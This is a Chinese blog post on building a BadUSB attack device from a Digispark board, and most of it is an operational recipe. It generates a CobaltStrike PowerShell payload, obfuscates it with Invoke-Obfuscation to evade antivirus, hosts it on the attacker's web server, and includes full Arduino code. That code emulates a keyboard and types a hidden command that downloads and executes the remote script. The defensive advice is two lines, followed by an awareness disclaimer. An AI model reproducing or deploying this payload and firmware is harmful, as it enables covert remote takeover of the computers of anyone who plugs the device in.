2014年美国黑帽大会上研究人员JakobLell和Karsten Nohl展示了badusb的攻击方法后,国内与badusb相关的文章虽然有了一些,但是大部分人把相关文章都阅读后还是会有种“不明觉厉”的感觉,badusb仍有一层朦胧的面纱。本文将带你揭开这层神秘的面纱。
Badusb原理:利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击,将USB设备伪装使电脑识别为键盘,再利用USB设备中的微控制芯片,向主机发送命令,从而实现完全控制主机。
漏洞产生原因:现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。
硬件材料:
Digispark (Attiny85)开发板(我用到的是经典版的橡皮鸭rubber ducky)
一台电脑
步骤:
1.首先我们安装CobaltStrike,这里需要用到一台有公网ip的服务器,生成ps1文件格式Powershell可执行的程序(具体安装和生Payload过程不再赘述,请自行百度,这边我用到的是CobaltStrike4.0)。
2.利用开源python程序Invoke-Obfuscation对ps1脚本进行免杀,生成面杀版ps1脚本文件,并上传到自己的web服务器备用,
Github地址:https://github.com/danielbohannon/Invoke-Obfuscation(免杀过程在这里不赘述了,请自行查看Invoke-Obfuscation的README.md)。
3.安装Digispark (Attiny85)开发板驱动。
4.安装并打开Arduino软件,点击文件中的首选项,附加开发板管理器网址填入:https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json
5.点击工具中的开发板中的开发板管理器,等待下载索引完成(下载不成功请使用海外代理),搜索并安装“Digistump AVR Boards by Digistump”,安装完成后在开发板中选择Digispark(Default-16.5mhz)。
7.将以下代码填入Arduino代码框中,以实现伪造键盘输出win+r打开运行窗口并执行Powershell命令。
#include "DigiKeyboard.h"
#define KEY_ESC 41
#define KEY_BACKSPACE 42
#define KEY_TAB 43
#define KEY_PRT_SCR 70
#define KEY_DELETE 76
void setup() {
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('http://web.com/tianle.ps1');"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {
}
8.将代码上传到开发板中,需在60s内插入badusb,等待烧录完成即可。
9.Badusb制作完成,插谁谁上线,这里仅展示几张成功上线的图片,屏幕截图,vnc,文件获取等CobaltStrike工具远控操作不作展示。
防御措施:
1.不插陌生的USB设备。
2.使用360的SecUSB或者腾讯的SecLine。
注:我展示如何攻击的目的是为了让大家知道这个漏洞,了解并认识到网络安全的重要性,更好的进行防御,而不是以此为武器去伤害别人。
本文链接:https://blog.361s.cn/55.html
天乐原创文章,转载请注明出处!
害怕
大佬,请问你这个powershell无文件落地,拔掉U盘目标机器还会上线吗?
会的